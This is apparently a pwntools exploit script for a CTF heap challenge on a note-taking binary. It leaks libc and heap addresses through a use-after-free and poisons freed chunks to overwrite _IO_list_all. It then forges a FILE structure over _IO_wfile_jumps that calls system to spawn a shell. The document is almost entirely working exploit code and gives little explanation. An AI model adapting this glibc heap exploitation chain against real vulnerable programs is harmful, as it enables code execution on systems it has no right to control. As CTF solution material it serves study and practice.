1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1 IP = "dyn.ctf.pearlctf.in" PORT = 30010
elf = context.binary = ELF('./heap') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_note(idx,size,content): sla("Enter choice ","1") sla("Note Index ",str(idx)) sla("Note Size ",str(size)) sla("Note Content",content)
def show_note(idx): sla("Enter choice ","3") sla("Note Index ",str(idx))
def delete_note(idx): sla("Enter choice ","2") sla("Note Index ",str(idx))
p = connect()
for i in range(9): create_note(i,0x170,"AAAA")
for i in range(8): delete_note(i)
show_note(7)
g(p)
ru("> ") leak = u64(rl()[:-1].ljust(8,b'\x00')) libc_base = leak - (0x7f32aa619ce0 - 0x7f32aa400000)
print(hex(libc_base))
show_note(0) ru('> ') key = u64(rl()[:-1].ljust(8,b'\x00')) heap_base = key << 12 success(hex(key)) success(hex(heap_base))
for i in range(8): create_note(i,0x170,"AAAA")
for i in range(9): create_note(i,0x68,"BBBB")
for i in range(7): delete_note(i)
delete_note(7) delete_note(8) delete_note(7)
for i in range(7): create_note(i,0x68,"BBBB")
pos = heap_base + (0x55dc5d361330 - 0x55dc5d360000)
target = (libc_base + libc.sym["_IO_list_all"]) target = (pos >> 12) ^ target
create_note(7,0x68,p64(target)) create_note(8,0x68,"BBBB") create_note(7,0x68,"BBBB")
gg0 = heap_base + (0x5639f6e5f410 - 0x5639f6e5e000) gg1 = heap_base + (0x5639f6e5f620 - 0x5639f6e5e000)
one=[0xebcf1,0xebcf5,0xebcf8]
io=FileStructure(0) io.flags= b" sh" io.vtable=libc_base+libc.sym["_IO_wfile_jumps"] io._wide_data=gg0+0xe0 io._IO_write_ptr=1 io._IO_write_base=0
payload=bytes(io) payload+=b"\x00"*0xe0+p64(gg1) system = libc_base + libc.sym['system'] payload2 = 0x68*b"\x00"+p64(system)
create_note(10,0x200,payload) create_note(11,0x200,payload2) create_note(7,0x68,p64(gg0))
print("SUCCESS")
sla("Enter choice ","4")
p.interactive()
|